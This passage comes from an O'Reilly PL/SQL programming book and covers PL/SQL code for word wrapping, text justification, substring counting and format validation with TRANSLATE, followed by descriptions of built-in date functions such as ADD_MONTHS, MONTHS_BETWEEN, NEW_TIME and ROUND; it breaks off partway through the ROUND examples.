You can see how the code grew considerably more complex just by adding the necessary parsing for middle name. You can see why I don't want to show you how to handle titles, suffixes, and salutations. Of course, in many data entry screens, these other elements of the name are isolated into separate fields or items on the screen.

11.2.2 Implementing Word Wrap for Long Text

Suppose you have a very long line of text and you need to wrap it to fit within a certain line length. Instead of breaking apart words, you want to fit as many separate words as you can onto a single line and then start a new line.

The wrap package contains the to_paragraph procedure,[2] which takes one long line of text and breaks it into separate lines, depositing those separate lines into a PL/SQL table. The procedure also contains calls to the built-in DBMS_OUTPUT package so it can display a trace of the way it performs the analysis to break apart the long text.

[2] This example, including the wonderful test script, was provided by David Thompson. It contains a number of features of PL/SQL covered later in this book, including built-in package modules and programmer-defined packages. Thanks as well to Lawrence Pit for his help with this example.

/* Filename on companion disk: wordwrap.spp */
create or replace PACKAGE wrap
IS
   TYPE paragraph_tabletype IS TABLE OF VARCHAR2 (80)
      INDEX BY BINARY_INTEGER;

   PROCEDURE to_paragraph
      (text_in IN VARCHAR2,
       line_length IN INTEGER,
       paragraph_out IN OUT paragraph_tabletype,
       num_lines_out IN OUT INTEGER,
       word_break_at_in IN VARCHAR2 := ' ');
END wrap;
/

create or replace PACKAGE BODY wrap
IS
    replace_string VARCHAR2(100) := NULL;

   PROCEDURE to_paragraph
      (text_in IN VARCHAR2,
       line_length IN INTEGER,
       paragraph_out IN OUT paragraph_tabletype,
       num_lines_out IN OUT INTEGER,
       word_break_at_in IN VARCHAR2 := ' ')
   IS
      len_text INTEGER := LENGTH (text_in);
      line_start_loc INTEGER := 1;
      line_end_loc INTEGER := 1;
      last_space_loc INTEGER;
      curr_line VARCHAR2(80);

      PROCEDURE set_replace_string IS
      BEGIN
        replace_string := RPAD ('@', LENGTH (word_break_at_in), '@');
      END;

      PROCEDURE find_last_delim_loc
      (line_in IN VARCHAR2, loc_out OUT INTEGER)
      IS
         v_line VARCHAR2(1000) := line_in;
      BEGIN
         IF word_break_at_in IS NOT NULL
         THEN
            v_line :=
               TRANSLATE (line_in, word_break_at_in, replace_string);
         END IF;
         loc_out := INSTR (v_line, '@', -1);
      END;

    BEGIN
       set_replace_string;

      IF len_text IS NULL
      THEN
         num_lines_out := 0;
      ELSE
         num_lines_out := 1;
         LOOP
           EXIT WHEN line_end_loc > len_text;
           line_end_loc := LEAST (line_end_loc + line_length, len_text + 1);

           /* get the next possible line of text */
           curr_line := SUBSTR (text_in || ' ', line_start_loc, line_length +1);

           /* find the last space in this section of the line */
           find_last_delim_loc (curr_line, last_space_loc);

           /* When NO spaces exist, use the full current line*/
           /* otherwise, cut the line at the space.          */
           IF last_space_loc > 0
           THEN
              line_end_loc := line_start_loc + last_space_loc;
           END IF;

           /* Add this line to the paragraph */
           paragraph_out (num_lines_out) :=
              substr (text_in,
                       line_start_loc,
                       line_end_loc - line_start_loc);

           num_lines_out := num_lines_out + 1;
           line_start_loc := line_end_loc;
         END LOOP;
         num_lines_out := num_lines_out - 1;
      END IF;
   END to_paragraph;
END wrap;
/

The following script tests the to_paragraph procedure and provides a trace of the lines that are being placed in the table. Notice that David uses RPAD to generate a "ruler," which shows clearly how the long text will need to be broken up into the paragraph format:

/* Filename on companion disk: testwrap.sql */
DECLARE
   /* Declare a PL/SQL table to hold the lines of the paragraph. */
   loc_para wrap.paragraph_tabletype;

   /* The test text. */

   loc_text VARCHAR2 (2000) :=
      'This is a very long line of text which we will wrap to smaller lines';

   loc_line_length INTEGER := 10;
   loc_lines INTEGER;

BEGIN
   /* Display a header containing the text and ruler. */
   DBMS_OUTPUT.PUT_LINE ('====================');
   DBMS_OUTPUT.PUT_LINE (loc_text);
   DBMS_OUTPUT.PUT_LINE (RPAD('1',length(loc_text),'2345678901'));
   DBMS_OUTPUT.PUT_LINE
      ('Wrapping to: '||TO_CHAR(loc_line_length)||' characters.');
   DBMS_OUTPUT.PUT_LINE('====================');

   /* Wrap the long text into a paragraph. */
   wrap.to_paragraph(loc_text, loc_line_length, loc_para, loc_lines);

   DBMS_OUTPUT.PUT_LINE('====================');
END;
/

Here are two examples of the output from the test script. The first number in square brackets shows the position of the last space found before the line break. The second number in square brackets shows the starting position in the current line and location of the first character in the next line:

====================
This is a very long line of text which we will wrap to smaller lines
12345678901234567890123456789012345678901234567890123456789012345678
Wrapping to: 10 characters.
====================
"This is a v"[ 10][  1] [ 11]This is a
"very long l"[ 10][ 11] [ 21]very long
"line of tex"[  8][ 21] [ 29]line of
"text which "[ 11][ 29] [ 40]text which
"we will wra"[  8][ 40] [ 48]we will
"wrap to sma"[  8][ 48] [ 56]wrap to
"smaller lin"[  8][ 56] [ 64]smaller
"lines "     [  6][ 64] [ 70]lines
====================

====================
This is a very long line of text which we will wrap to smaller lines
12345678901234567890123456789012345678901234567890123456789012345678
Wrapping to: 6 characters.
====================
"This is"[  5][  1] [  6]This
"is a ve"[  5][  6] [ 11]is a
"very lo"[  5][ 11] [ 16]very
"long li"[  5][ 16] [ 21]long
"line of"[  5][ 21] [ 26]line
"of text"[  3][ 26] [ 29]of
"text wh"[  5][ 29] [ 34]text
"which w"[  6][ 34] [ 40]which
"we will"[  3][ 40] [ 43]we
"will wr"[  5][ 43] [ 48]will
"wrap to"[  5][ 48] [ 53]wrap
"to smal"[  3][ 53] [ 56]to
"smaller"[  0][ 56] [ 62]smalle
"r lines"[  2][ 62] [ 64]r
"lines " [  6][ 64] [ 70]lines
====================

Why would you want to break up text into paragraphs? One reason is to be able to place that text into a formatted document, such as a newsletter or newspaper. Such text usually needs to be filled out to the margins. The output from a call to wrap.to_paragraph would very naturally then become input to the fill_text function, described in the next section.

11.2.3 Filling Text to Fit a Line

It's very easy to left-align a string in PL/SQL -- LTRIM it. It is also easy to right-align a string in a field or item -- LPAD it with spaces to the full length of the field or item; that will force the string all the way to the right. But how would you justify the string to make it look like a line in a newspaper column, with the first word on the left margin and the last letter of the last word on the right margin?

To justify a string you need to add blanks to spaces between words until the line has been stretched to fill the field or item. You also want to space the blanks evenly across the column, so that it's as readable as possible. The fill_text function shown in the next example accepts a string and line size and returns a string of the specified length, with spaces distributed throughout the string.

In order to achieve an even distribution of spaces, fill_text employs two, nested loops. The inner loop moves from word to word in the string and adds a single blank space after each word. The outer loop calls the inner loop again and again until the string is filled to the specified size. A local module skips over contiguous spaces to find the location of the next nonblank character:

/* Filename on companion disk: filltext.sf */
FUNCTION filled_text (string_in IN VARCHAR2, linesize_in IN NUMBER)
RETURN VARCHAR2
/*
|| Parameters:
||    string_in   - the string to justify.
||    linesize_in - the length of the line to which string is justified.
*/
IS
   -- The length of the string.
   len_string NUMBER := LENGTH (string_in);

   -- I will give a name to the blank to make the code more readable.
   a_blank CONSTANT VARCHAR2(1) := ' ';

   -- The starting location for INSTR checks.
   start_loc NUMBER;

   -- Flag to control execution of the inner WHILE loop.
   keep_adding_blanks BOOLEAN;

   -- The location in the string of the next blank.
   nextblank_loc NUMBER;

   /*
   || The return value for the function is initially set to the incoming
   || string. I also LTRIM and RTRIM it to get rid of end spaces.
   || I am going to assume a max line size of 500. You could raise this
   || limit to 32K, but you will use more memory to do so.
   */
   return_value VARCHAR2 (500) :=
       LTRIM (RTRIM (SUBSTR (string_in, 1, 500)));

   /*---------------------- Local Module ----------------------------*/

   FUNCTION next_nonblank_loc (string_in IN VARCHAR2, start_loc_in IN NUMBER)
   RETURN NUMBER
   /*
   || Finds the location in a string of the next NON-BLANK character
   || from the starting location. Uses SUBSTR to examine the current
   || character and halts the loop if not a blank.
   */
   IS
      return_value NUMBER := start_loc_in;
   BEGIN
      WHILE SUBSTR (string_in, return_value, 1) = a_blank
      LOOP
         return_value := return_value + 1;
      END LOOP;
      RETURN return_value;
   END;

BEGIN
   /* The outer loop. */
   WHILE len_string < linesize_in
   LOOP
      /* Reset variables for inner loop. */
      start_loc := 1;
      keep_adding_blanks := TRUE;
      /*
      || Inner loop:
      || If I have filled the string or gone through the entire line,
      || halt this loop and go to the outer loop.
      */
      WHILE len_string < linesize_in AND keep_adding_blanks -- Inner loop
      LOOP
         /* Find the location of the next blank. */
         nextblank_loc := INSTR (return_value, a_blank, start_loc);

         /* If no more blanks, am done with line for this iteration. */
         keep_adding_blanks := nextblank_loc > 0;

         IF keep_adding_blanks
         THEN
            /*
            || Use SUBSTR to pull apart the string right where the
            || blank was found and then put the two pieces back together
            || after stuffing a space between them. Then add 1 to the
            || length and find the location of the next non-blank
            || character. This new starting location will be used by
            || INSTR to then find the next blank.
            */
            return_value :=
               SUBSTR (return_value, 1, nextblank_loc) ||
               a_blank ||
               SUBSTR (return_value, nextblank_loc+1);
            len_string := len_string + 1;
            start_loc := next_nonblank_loc (return_value, nextblank_loc);
         END IF;

      END LOOP;
   END LOOP;

   RETURN return_value;

END filled_text;

The filltext.sf file contains the function shown above as well as a procedure version of the function, which will show you through calls to DBMS_OUTPUT.PUT_LINE how the fill_text algorithm builds its string. After you run the script in that file, you will have a filled_text function and a fill_text procedure.

If you then execute the command:

SQL> exec fill_text ('this is not very long', 30)

You will see the following output from the procedure call:

123456789012345678901234567890
==============================
this is not very long
this  is not very long
this  is  not very long
this  is  not  very long
this  is  not  very  long
this   is  not  very  long
this   is   not  very  long
this   is   not   very  long
this   is   not   very   long
this    is   not   very   long
this    is   not   very   long
==============================
123456789012345678901234567890

You can see how the function dispersed the spaces evenly throughout the string. The final line is repeated twice because it was displayed from within the function and by the SQL*Plus script.

11.2.4 Counting Substring Occurrences in Strings

You now know how to use INSTR to find the location of a substring within a string. This means that you also know how to determine whether or not a certain substring is in that string (INSTR returns zero if the substring is not found). What if you want to figure out how many times a particular substring occurs within a string?

The first thing that you should do when asked to implement a request like this is to make sure that Oracle's SQL, PL/SQL, or some tool doesn't already provide what you need. I sure hate to spend an hour writing some convoluted program only to find out that a built-in program provided with the tool already does it. Become familiar with what is available, and don't be the least bit embarrassed to go back to the manuals for a refresher.

So, I ask myself, is there a character function that will return the number of times a substring occurs within a string? Afraid not -- but checking was the right thing to do. Fortunately, the flexibility of INSTR makes it easy to build such a utility for ourselves. In fact, I use INSTR to produce two different versions of this freq_instr ("frequency in string") function.

The first version, freq_instr1, counts the number of occurrences of a substring by changing the starting location of the INSTR-based search to just past the location of the last match. From that point on, it always searches for the first occurrence.

The second version, freq_instr2, also counts the number of occurrences of a substring using INSTR as well. However, in this function, the starting location of the search always remains 1, and the nth_occurrence argument to INSTR (the fourth argument) is bumped up after each occurrence is found.

Here's the first version:

/* Filename on companion disk: freqinst.sf */
FUNCTION freq_instr1
   (string_in IN VARCHAR2,
    substring_in IN VARCHAR2,
    match_case_in IN VARCHAR2 := 'IGNORE')
RETURN NUMBER
/*
|| Parameters:
||    string_in - the string in which frequency is checked.
||    substring_in - the substring we are counting in the string.
||    match_case_in - If "IGNORE" then count frequency of occurrences
||                    of substring regardless of case. If "MATCH" then
||                    only count occurrences if case matches.
||
|| Returns the number of times (frequency) a substring is found
|| by INSTR in the full string (string_in). If either string_in or
|| substring_in are NULL, then return 0.
*/
IS
   -- Starting location from which INSTR will search for a match.
   search_loc NUMBER := 1;

   -- The length of the incoming substring.
   substring_len NUMBER := LENGTH (substring_in);

   -- The Boolean variable which controls the loop.
   check_again BOOLEAN := TRUE;

   -- The return value for the function.
   return_value NUMBER := 0;
BEGIN

   IF string_in IS NOT NULL AND substring_in IS NOT NULL
   THEN
      /* Loop through string, moving forward the start of search. */
      WHILE check_again
      LOOP
         IF UPPER (match_case_in) = 'IGNORE'
         THEN
            -- Use UPPER to ignore case when performing the INSTR.
            search_loc :=
               INSTR (UPPER (string_in),
                      UPPER (substring_in), search_loc, 1);
         ELSE
            search_loc := INSTR (string_in, substring_in, search_loc, 1);
         END IF;

         /* Did I find another occurrence? */
         check_again := search_loc > 0;
         IF check_again
         THEN
            return_value := return_value + 1;

            /* Move start position past the substring. */
            search_loc := search_loc + substring_len;
         END IF;
      END LOOP;
   END IF;

   RETURN return_value;

END freq_instr1;

Now let's take a look at the second version of freq_instr, which keeps the starting location of the call to INSTR at a constant value of 1 and increments the number of the occurrence we wish to extract from the string. Both approaches do the job, but this second version uses a little less code and relies more directly and naturally on INSTR to do the job.

/* Filename on companion disk: freqinst.sf */
FUNCTION freq_instr2
   (string_in IN VARCHAR2,
    substring_in IN VARCHAR2,
    match_case_in IN VARCHAR2 := 'IGNORE') RETURN NUMBER
IS
   substring_loc NUMBER;
   return_value NUMBER := 1;
BEGIN
   /*
   || Use the last argument to INSTR to find the Nth occurrence of
   || substring, where N is incremented with each spin of the loop.
   || If INSTR returns 0 then have one too many in the return_value,
   || so when I RETURN it, I subtract 1 (see code following loop).
   */
   LOOP
      IF UPPER (match_case_in) = 'IGNORE'
      THEN
         substring_loc :=
            INSTR (UPPER (string_in), UPPER (substring_in), 1, return_value);
      ELSE
         substring_loc := INSTR (string_in, substring_in, 1, return_value);
      END IF;

      /* Terminate loop when no more occurrences are found. */
      EXIT WHEN substring_loc = 0;

      /* Found match, so add to total and continue. */
      return_value := return_value + 1;

   END LOOP;

   RETURN return_value - 1;

END freq_instr2;

In freq_instr2, I use INSTR to keep on getting the next occurrence of the substring until there are no more, letting INSTR determine the number of occurrences. In freq_instr1, I explicitly move the starting point of the search through the string and then use INSTR to get the next occurrence. Will both functions always return the same values? And if not, which one returns the correct values?

In fact, freq_instr1 and freq_instr2 do not count the same number of occurrences of a substring in a string. This discrepancy relates back to the way INSTR works -- consider the following results:

freq_instr1 ('abcdaaa', 'aa') ==> 1

freq_instr2 ('abcdaaa', 'aa') ==> 2

The first version, freq_instr1, only finds one match for aa because it moves the starting point for the next search for an aa past the second a in the string aaa, right to the last character of the string. The freq_instr2 function, on the other hand, uses the second a in the string aaa as the starting point for the second occurrence of aa and so returns 2 rather than 1. Which answer is correct? It depends on the detailed specifications for the function. Either answer could be right; it depends on the question.

11.2.5 Verifying String Formats with TRANSLATE

Oracle Forms allows you to specify a format mask on screen items that are numbers and dates. With a number mask of 999"-"99"-"9999, for example, a user could enter 123457890 and have Oracle Forms automatically convert the entry to 123-45-7890 for Social Security number formatting. With a date mask of MMDDYY, a user could enter 122094 and have Oracle Forms automatically convert that information to the internal date format for December 20, 1994. Unfortunately, you can use format masks only on number and date items. You cannot format a character item. You cannot use a mask, for example, to ensure that users enter the department code in the format AAANNN, where the first three characters are letters and the last three characters are numbers.

TRANSLATE offers an easy way to verify and enforce formats in character fields, which I will explore below. Suppose you need to make sure that users enter a value in the format AAANN99, where A is an uppercase letter (A through Z), N is a digit (0 through 9), and the two trailing nines are just that: two trailing nines. Given this format, the following entries would all be valid:

THR3399
ZYX1299

While these next entries violate the format:

1RR1299

First character is a digit, instead of a number

RRR8Q89

"Q" where number must be, second last digit not a nine

UUU1290

Last digit is not a nine

To validate and enforce this format in an Oracle Forms item, I create a When-Validate-Item trigger for that item. One approach I could take is to look at each character individually and make sure it has the right value. I could use SUBSTR to do this, as follows:

DECLARE
   /* The formatted value. */
   my_value VARCHAR2 (20) := UPPER (:company.industry_code);
BEGIN
   IF SUBSTR (my_value, 1, 1) NOT BETWEEN 'A' and 'Z' OR
      SUBSTR (my_value, 2, 1) NOT BETWEEN 'A' and 'Z' OR
      SUBSTR (my_value, 3, 1) NOT BETWEEN 'A' and 'Z' OR
      SUBSTR (my_value, 4, 1) NOT BETWEEN '0' and '9' OR
      SUBSTR (my_value, 5, 1) NOT BETWEEN '0' and '9' OR
      SUBSTR (my_value, 6, 2) != '99'
   THEN
      MESSAGE (' Please enter code in format AAANN99.');
      RAISE FORM_TRIGGER_FAILURE;
   END IF;
END;

This approach will work fine, in most cases, clearly stating the rules for each of the characters in the code item. Let's see how you would perform this same format check with TRANSLATE:

IF TRANSLATE (UPPER (:company.industry_code),
               '123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
               'NNNNNNNNNAAAAAAAAAAAAAAAAAAAAAAAAAA') != 'AAANNNN'
   OR :company.industry_code NOT LIKE '_____99'
THEN
   MESSAGE (' Please enter code in format AAANN99.');
   RAISE FORM_TRIGGER_FAILURE;
END IF;

With TRANSLATE, I use the search and replace sets to replace all numbers with "N" and all letters with "A". If the user followed the specified format, then TRANSLATE will return AAANNNN. I then include a second check to see if the last two characters of the string are 99. Notice that I used five underscores as single-character wildcards to make sure the correct number of characters preceded the double nines.

I can also use TRANSLATE to support multiple formats on the same character item, and then determine action in the screen based on the format selected. Suppose that, if a user enters a string in the format NNNAAA, I need to execute a procedure to generate an industry profile. If the user enters a string in the format AAA, I need to execute a procedure to calculate annual sales for that specified department. TRANSLATE will easily sort through these formats as follows:

formatted_entry :=
   TRANSLATE (UPPER (:company.criteria),
               '123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
               'NNNNNNNNNAAAAAAAAAAAAAAAAAAAAAAAAAA');

IF formatted_entry = 'NNNAAA'
THEN
   gen_ind_profile (:company.criteria);
ELSIF formatted_entry = 'AAA'
THEN
   calc_annual_sales (:company.criteria);
END IF;

If you need to perform pattern or format masking and analysis, TRANSLATE is generally the most efficient and effective solution.

Previous: 11.1 Character Function Descriptions | Oracle PL/SQL Programming, 2nd Edition | Next: 12. Date Functions
11.1 Character Function Descriptions | Book Index | 12. Date Functions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 12] Date Functions

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 11.2 Character Function Examples Chapter 12 Next: 12.2 Date Function Examples

12. Date Functions

Contents:
Date Function Descriptions
Date Function Examples

This chapter contains detailed descriptions and extended examples of functions you can use to manipulate date information in PL/SQL programs.

Most applications store and manipulate dates and times. Dates are quite complicated: not only are they highly formatted, but there are myriad rules for determining valid values and valid calculations (leap days and years, national and company holidays, date ranges, etc.). Fortunately, PL/SQL and the Oracle RDBMS provide many ways to handle date information.

PL/SQL provides a true DATE datatype that stores both date and time information. Each date value contains the century, year, month, day, hour, minute, and second. The DATE datatype does not support the storage of fractions of time less than a second in length. The time itself is stored as the number of seconds past midnight. If you enter a date without a time (most applications do not require the tracking of time), the time portion of the database value defaults to midnight (12:00:00 AM). PL/SQL validates and stores dates which fall in the range January 1, 4712 B.C. to December 31, 4712 A.D (in Oracle Server 8.0 and higher, the maximum valid date is December 31, 9999).

Support for a true date datatype is only half the battle. You also need a language that can manipulate those dates in a natural and intelligent manner -- as dates. PL/SQL offers a set of eight date functions for just this purpose, as shown in Table 12.1.

With PL/SQL you will never have to write a program which calculates the number of days between two dates. You will not need to write your own utility to figure out the day of the week on which a date falls. This information, and just about anything else you can think of having to do with dates, is immediately available to you through built-in functions. The date functions in PL/SQL all take dates, and, in some cases, numbers, for arguments, and all return date values. The only exception is MONTHS_BETWEEN, which returns a number.

Table 12.1: The Built-In Date Functions
Name | Description
ADD_MONTHS | Adds the specified number of months to a date.
LAST_DAY | Returns the last day in the month of the specified date.
MONTHS_ BETWEEN | Calculates the number of months between two dates.
NEW_TIME | Returns the date/time value, with the time shifted as requested by the specified time zones.
NEXT_DAY | Returns the date of the first weekday specified that is later than the date.
ROUND | Returns the date rounded by the specified format unit.
SYSDATE | Returns the current date and time in the Oracle Server.
TRUNC | Truncates the specified date of its time portion according to the format unit provided.

12.1 Date Function Descriptions

This section describes each date function and includes examples to give you a solid feel for how you can put the function to use in your programs.

NOTE: In the examples in this chapter, a date contained in single quotation marks is a character string. PL/SQL converts the string to a true date datatype when it applies the function. (This is an implicit conversion.) Date values that are displayed in the format DD-MON-YYYY and are not contained in single quotation marks represent actual date values in the database.

A true date value looks like this in the examples:

12-DEC-1997

A character representation looks like this in the examples:

'12-DEC-1997'

Remember, a date has its own internal storage format and cannot be viewed or entered directly. These examples also assume that the default format mask for dates is DD-MON-YYYY.

12.1.1 The ADD_MONTHS function

The ADD_MONTHS function returns a new date with the specified number of months added to the input date. The specification for ADD_MONTHS is as follows:

FUNCTION ADD_MONTHS (date_in IN DATE, month_shift NUMBER) RETURN DATE
FUNCTION ADD_MONTHS (month_shift NUMBER, date_in IN DATE) RETURN DATE

ADD_MONTHS is an overloaded function. You can specify the date and the number of months by which you want to shift that date, or you can list the month_shift parameter first and then the date. Both arguments are required.

Date Arithmetic

PL/SQL allows you to perform arithmetic operations directly on date variables. You may add numbers to a date or subtract numbers from a date. To move a date one day in the future, simply add 1 to the date as shown below:

hire_date + 1

You can even add a fractional value to a date. For example, adding 1/24 to a date adds an hour to the time component of that value. Adding 1/(24*60) adds a single minute to the time component, and so on.

If the month_shift parameter is positive, ADD_MONTHS returns a date for that number of months into the future. If the number is negative, ADD_MONTHS returns a date for that number of months in the past. Here are some examples that use ADD_MONTHS:

  • Move ahead date by three months:

    ADD_MONTHS ('12-JAN-1995', 3) ==> 12-APR-1995

  • Specify negative number of months in first position:

    ADD_MONTHS (-12, '12-MAR-1990') ==> 12-MAR-1989

ADD_MONTHS always shifts the date by whole months. You can provide a fractional value for the month_shift parameter, but ADD_MONTHS will always round down to the whole number nearest zero, as shown in these examples:

ADD_MONTHS ('28-FEB-1989', 1.5) same as
ADD_MONTHS ('28-FEB-1989', 1) ==> 31-MAR-1989

ADD_MONTHS ('28-FEB-1989', 1.9999) same as
ADD_MONTHS ('28-FEB-1989', 1) ==> 31-MAR-1989

ADD_MONTHS ('28-FEB-1989', -1.9999) same as
ADD_MONTHS ('28-FEB-1989', -1) ==> 31-JAN-1989

ADD_MONTHS ('28-FEB-1989', .5) same as
ADD_MONTHS ('28-FEB-1989', 0) ==> 28-FEB-1989

If you want to shift a date by a fraction of a month, simply add to or subtract from the date the required number of days. PL/SQL supports direct arithmetic operations between date values.

If the input date to ADD_MONTHS does not fall on the last day of the month, the date returned by ADD_MONTHS falls on the same day in the new month as in the original month. If the day number of the input date is greater than the last day of the month returned by ADD_MONTHS, the function sets the day number to the last day in the new month. For example, there is no 31st day in February, so ADD_MONTHS returns the last day in the month:

ADD_MONTHS ('31-JAN-1995', 1) ==> 28-FEB-1995

This is perfectly reasonable. However, what if the input date falls on the last day of the month and the new month has more days in it than the original month? If I shift two months forward from 28-FEB-1994, do I get back 30-APR-1994 (the last day of the month) or 28-APR-1994 (the same day in the new month as in the old month)? The answer is:

ADD_MONTHS ('28-FEB-1994', 2) ==> 30-APR-1995

If you pass to ADD_MONTHS a day representing the last day in the month, PL/SQL always returns the last day in the resulting month, regardless of the number of actual days in each of the months. This quirk can cause problems. I offer a solution in the section entitled Section 12.2.1, "Customizing the Behavior of ADD_MONTHS"" later in this chapter.

12.1.2 The LAST_DAY function

The LAST_DAY function returns the date of the last day of the month for a given date. The specification is:

FUNCTION LAST_DAY (date_in IN DATE) RETURN DATE

This function is useful because the number of days in a month varies throughout the year. With LAST_DAY, for example, you do not have to try to figure out if February of this or that year has 28 or 29 days. Just let LAST_DAY figure it out for you.

Here are some examples of LAST_DAY:

  • Go to the last day in the month:

    LAST_DAY ('12-JAN-99') ==> 31-JAN-1999

  • If already on the last day, just stay on that day:

    LAST_DAY ('31-JAN-99') ==> 31-JAN-1999

  • Get the last day of the month three months after being hired:

    LAST_DAY (ADD_MONTHS (hiredate, 3))

  • Tell me the number of days until the end of the month:

    LAST_DAY (SYSDATE) - SYSDATE

12.1.3 The MONTHS_BETWEEN function

The MONTHS_BETWEEN function calculates the number of months between two dates and returns that difference as a number. The specification is:

FUNCTION MONTHS_BETWEEN (date1 IN DATE, date2 IN DATE)
   RETURN NUMBER

The following rules apply to MONTHS_BETWEEN:

  • If date1 comes after date2, then MONTHS_BETWEEN returns a positive number.

  • If date1 comes before date2, then MONTHS_BETWEEN returns a negative number.

  • If date1 and date2 are in the same month, then MONTHS_BETWEEN returns a fraction (a value between -1 and +1).

  • If date1 and date2 both fall on the last day of their respective months, then MONTHS_BETWEEN returns a whole number (no fractional component).

  • If date1 and date2 are in different months and at least one of the dates is not a last day in the month, MONTHS_BETWEEN returns a fractional number. The fractional component is calculated on a 31-day month basis and also takes into account any differences in the time component of date1 and date2.

Here are some examples of the uses of MONTHS_BETWEEN:

  • Calculate two ends of month, the first earlier than the second:

    MONTHS_BETWEEN ('31-JAN-1994', '28-FEB-1994') ==> -1

  • Calculate two ends of month, the first later than the second:

    MONTHS_BETWEEN ('31-MAR-1995', '28-FEB-1994') ==> 13

  • Calculate when both dates fall in the same month:

    MONTHS_BETWEEN ('28-FEB-1994', '15-FEB-1994') ==>  0

  • Perform months_between calculations with a fractional component:

    MONTHS_BETWEEN ('31-JAN-1994', '1-MAR-1994') ==> -1.0322581
MONTHS_BETWEEN ('31-JAN-1994', '2-MAR-1994') ==> -1.0645161
MONTHS_BETWEEN ('31-JAN-1994', '10-MAR-1994') ==> -1.3225806

If you detect a pattern here you are right. As I said, MONTHS_BETWEEN calculates the fractional component of the number of months by assuming that each month has 31 days. Therefore, each additional day over a complete month counts for 1/31 of a month, and:

1 divided by 31 = .032258065--more or less!

According to this rule, the number of months between January 31, 1994 and February 28, 1994 is one -- a nice, clean integer. But to calculate the number of months between January 31, 1994 and March 1, 1994, I have to add an additional .032258065 to the difference (and make that additional number negative because in this case MONTHS_BETWEEN counts from the first date back to the second date.

12.1.4 The NEW_TIME function

I don't know about you, but I am simply unable to remember the time in Anchorage when it is 3:00 P.M. in Chicago (and I really doubt that a lot of people in Anchorage can convert to Midwest U.S. time). Fortunately for me, PL/SQL provides the NEW_TIME function. This function converts dates (along with their time components) from one time zone to another. The specification for NEW_TIME is:

FUNCTION NEW_TIME (date_in DATE, zone1 VARCHAR2, zone2 VARCHAR2)
   RETURN DATE

where date_in is the original date, zone1 is the starting point for the zone switch (usually, but not restricted to, your own local time zone), and zone2 is the time zone in which the date returned by NEW_TIME should be placed.

The valid time zones are shown in Table 12.2.

Table 12.2: Time Zone Abbreviations and Descriptions
Time Zone Abbreviation | Description
AST | Atlantic Standard Time
ADT | Atlantic Daylight Time
BST | Bering Standard Time
BDT | Bering Daylight Time
CST | Central Standard Time
CDT | Central Daylight Time
EST | Eastern Standard Time
EDT | Eastern Daylight Time
GMT | Greenwich Mean Time
HST | Alaska-Hawaii Standard Time
HDT | Alaska-Hawaii Daylight Time
MST | Mountain Standard Time
MDT | Mountain Daylight Time
NST | Newfoundland Standard Time
PST | Pacific Standard Time
PDT | Pacific Daylight Time
YST | Yukon Standard Time
YDT | Yukon Daylight Time

The specification of time zones to NEW_TIME is not case-sensitive, as the following example shows:

TO_CHAR (NEW_TIME (TO_DATE ('09151994 12:30 AM', 'MMDDYYYY HH:MI AM'),
                   'CST', 'hdt'),
         'Month DD, YYYY HH:MI AM')
==> 'September 14, 1994 09:30 PM'

So, when it was 12:30 in the morning of September 15, 1994 in Chicago, it was 9:30 in the evening of September 14, 1994 in Anchorage.

NOTE: By the way, I used TO_DATE with a format mask to make sure that a time other than the default of midnight would be used in the calculation of the new date and time. I then used TO_CHAR with another date mask (this one intended to make the output more readable) to display the date and time, because by default PL/SQL will not include the time component unless specifically requested to do so.

12.1.5 The NEXT_DAY function

The NEXT_DAY function returns the date of the first day after the specified date which falls on the specified day of the week. Here is the specification for NEXT_DAY:

FUNCTION NEXT_DAY (date_in IN DATE, day_name IN VARCHAR2) RETURN DATE

The day_name must be a day of the week in your session's date language (specified by the NLS_DATE_LANGUAGE database initialization parameter). The time component of the returned date is the same as that of the input date, date_in. If the day of the week of the input date matches the specified day_name, then NEXT_DAY will return the date seven days (one full week) after date_in. NEXT_DAY does not return the input date if the day names match.

Here are some examples of the use of NEXT_DAY. Let's figure out the date of the first Monday and Wednesday in 1997 in all of these examples.

  • You can use both full and abbreviated day names:

    NEXT_DAY ('01-JAN-1997', 'MONDAY') ==> 06-JAN-1997
NEXT_DAY ('01-JAN-1997', 'MON') ==> 06-JAN-1997

  • The case of the day name doesn't matter a whit:

    NEXT_DAY ('01-JAN-1997', 'monday') ==> 06-JAN-1997

  • If the date language were Spanish:

    NEXT_DAY ('01-JAN-1997', 'LUNES') ==> 06-JAN-1997

  • NEXT_DAY of Wednesday moves the date up a full week:

    NEXT_DAY ('01-JAN-1997', 'WEDNESDAY') ==> 08-JAN-1997

12.1.6 The ROUND function

The ROUND function rounds a date value to the nearest date as specified by a format mask. It is just like the standard numeric ROUND function, which rounds a number to the nearest number of specified precision, except that it works with dates. The specification for ROUND is as follows:

FUNCTION ROUND (date_in IN DATE [, format_mask VARCHAR2]) RETURN DATE

The ROUND function always rounds the time component of a date to midnight (12:00 A.M.). The format mask is optional. If you do not include a format mask, ROUND rounds the date to the nearest day. In other words, it checks the time component of the date. If the time is past noon, then ROUND returns the next day with a time component of midnight.

The set of format masks for ROUND is a bit different from those masks used by TO_CHAR and TO_DATE. (See Chapter 14, Conversion Functions, for more information on these functions.) The masks are listed in Table 12.3. These same formats are used by the TRUNC function, described later in this chapter, to perform truncation on dates.

Table 12.3: Format Masks for ROUND and TRUNC
Format Mask | Rounds or Truncates to
CC or SSC | Century
SYYY, YYYY, YEAR, SYEAR, YYY, YY, or Y | Year (rounds up to next year on July 1)
IYYY, IYY, IY, or I | Standard ISO year
Q | Quarter (rounds up on the sixteenth day of the second month of the quarter)
MONTH, MON, MM, or RM | Month (rounds up on the sixteenth day, which is not necessarily the same as the middle of the month)
WW | Same day of the week as the first day of the year
IW | Same day of the week as the first day of the ISO year
W | Same day of the week as the first day of the month
DDD, DD, or J | Day
DAY, DY, or D | Starting day of the week
HH, HH12, HH24 | Hour
MI | Minute

Here are some examples of ROUND dates:

  • Round up to the next century:

    TO_CHAR (ROUND (TO_DATE ('01-MAR-1994'), 'CC'), 'DD-MON-YYYY')
==> 01-JAN-2000

  • Round back to the beginning of the current century:

